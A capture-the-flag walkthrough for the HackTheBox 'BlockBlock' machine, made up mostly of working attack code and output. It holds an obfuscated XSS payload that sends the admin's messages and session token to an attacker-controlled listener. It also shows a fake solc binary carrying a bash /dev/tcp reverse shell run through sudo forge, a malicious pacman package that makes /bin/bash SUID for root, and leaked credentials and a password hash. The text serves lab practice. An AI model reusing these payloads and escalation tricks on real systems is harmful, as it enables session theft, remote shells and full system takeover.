HackTheBox BlockBlock Writeup
Explore the fundamentals of cybersecurity in the BlockBlock Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.43 blockblock.htb
Script to add hosts automatically
ip="10.10.11.43"
domain="blockblock.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV blockblock.htb
Nmap scan report for blockblock.htb (10.10.11.43)
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
Register in http://10.10.11.43
At the bottom is showed You can review our smart contracts anytime http://10.10.11.43/api/contract_source
Lets analyze it Note change the token with yours
token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxMTg2NCwianRpIjoiMmI0Mjg2YjgtMTBlMC00NzI2LWFkZjgtMDEzNjlmZWMyYmQxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFAYS5hIiwibmJmIjoxNzMyOTExODY0LCJleHAiOjE3MzM1MTY2NjR9.gyVZXeJut3eZj531XhYf8gOVfDGDQC-5fAvpGDWIm6A'
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Database.sol"' > Database.sol
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Chat.sol"' > Chat.sol
cat Database.sol
cat Chat.sol
So reporting a user we can get xxs this is how to test:
python -m http.server
<img src=x onerror="fetch('http://10.10.14.18:8000/jsw0rks')" />
10.10.11.43 - - [29/Nov/2024 21:35:19] "GET /test/ HTTP/1.1" 200 -
The token is HTTP-only, so the key challenge is finding a way to access the content of the admin cookie.
Paste the following in the console to brute-force and retrieve the admin cookie after several retries:
const callback_url = "http://10.10.14.18:8000/";
const delay = millis => new Promise(resolve => setTimeout(resolve, millis));
async function report_user(username) {
try {
await fetch(`${location.origin}/api/report_user`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ username }),
});
} catch (error) {
console.error("Error in report_user:", error);
}
}
(async () => {
for (let ff = 0; ff <= 30; ff++) {
for (let ss = 0; ss <= 10; ss++) {
console.log(`1st Payload, Sending total... ${ff}`);
const first_payload = `
<img src=x onerror='eval(atob("ZmV0Y2goIi9hcGkvaW5mbyIsIHsNCgloZWFkZXJzOiB7DQoJCSdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicNCgl9LA0KCW1ldGhvZDogJ0dFVCcsIA0KCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScNCiAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsgDQogIH0pDQogIC50aGVuKGRhdGEgPT4gew0KCQlmZXRjaCgiL2FwaS9zZW5kX21lc3NhZ2UiLCB7DQoJCQloZWFkZXJzOiB7DQoJCQkJJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJw0KCQkJfSwNCgkJCW1ldGhvZDogJ1BPU1QnLCANCgkJCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScsDQoJCQlib2R5OiBKU09OLnN0cmluZ2lmeSh7DQoJCQkJY29udGVudDogYnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpDQoJCQl9KQ0KCQl9KQ0KICB9KTs="))' />
`;
await report_user(first_payload);
}
for (let ss = 0; ss <= 10; ss++) {
console.log(`2nd Payload, Sending... ${ff}`);
let seconds_payload = `
async function s(t) {
try {
fetch("${callback_url}?" + btoa(encodeURIComponent(t.toString())));
} catch {}
}
(async () => {
try {
const t = await fetch("/api/recent_messages", {
headers: { "Content-Type": "application/json" },
method: "GET",
credentials: "include",
});
await s(await t.text());
} catch (t) {
await s("ERR");
}
})();
`;
seconds_payload = btoa(seconds_payload);
seconds_payload = `<img src=x onerror='eval(atob("${seconds_payload}"))' />`;
await report_user(seconds_payload);
}
}
})();
https://gchq.github.io/CyberChef
From base64 data
this yelds eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxNTQyMSwianRpIjoiNmM3MGY0NmQtZjNjZC00ZDU4LTk1ZjEtZmQzMjVmNWYxNzMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyOTE1NDIxLCJleHAiOjE3MzM1MjAyMjF9.dOn0IAcdSMka9sTc_NPu7Bd5-8l0E9oaw_ZHpDWfk04
Set as the cookie token
http://10.10.11.43/admin#users
Open burp and intercept /api/json-rpc
just change method in {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",true],"id":1}
Decode from hex the data
keira:SomedayBitCoinWillCollapse
ssh keira@blockblock.htb
cat user.txt
uname -a
Detected 6.9.3-arch1-1. Using Arch Linux as a server is questionable—better suited for desktops. Feels out of place here. Btw, I’m an archlinux user :(. What’s next, Gentoo or LFS? <- brainroot :).
Listener:
nc -lvnp 9001
To Get Paul in 9001:
sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.18/9001 0>&1' > /dev/shm/solc
cd /dev/shm/exploit
chmod +x ../solc
sudo -u paul /home/paul/.foundry/bin/forge build --use ../solc
To Get Root From Paul in 9001:
cd /dev/shm
echo -e "pkgname=exp\npkgver=1.0\npkgrel=1\narch=('any')\ninstall=exp.install" > PKGBUILD
echo "post_install() { chmod 4777 /bin/bash; }" > exp.install
makepkg -s
sudo pacman -U *.zst --noconfirm
bash -p
cat /root/root.txt
cat /etc/shadow
This yields $y$j9T$aS1WjBeHOMsj5JDGpOSTR0$eEn9e2kIqFfcRCf79xQw7iLDJbt/ioE793tqS3GnjsC